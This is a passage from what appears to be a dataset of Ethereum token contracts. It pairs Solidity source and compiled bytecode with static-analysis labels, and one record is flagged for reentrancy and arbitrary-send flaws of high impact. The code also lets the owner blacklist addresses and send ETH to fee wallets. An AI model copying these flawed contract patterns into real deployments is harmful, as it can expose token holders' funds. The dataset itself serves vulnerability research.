_getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4865616c20496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4865616c20e29da4000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600a600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122021122c391d515665eaa014090379ba66cdf0fdafa2a17f2cf0f94cdd6782352964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,745
0x7312099ef5fc4a5e8f33e07bce1cdd5347f9041e
/** *Submitted for verification at Etherscan.io on 2021-11-24 */ /** web: https://cosmicwyvernstoken.com/ TG: https://t.me/CosmicWyvernsETH */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WYVERNS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cosmic Wyverns"; string private constant _symbol = "WYVERNS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x4412c4D24e34aa59851aaC895bF960bF0a221755); _feeAddrWallet2 = 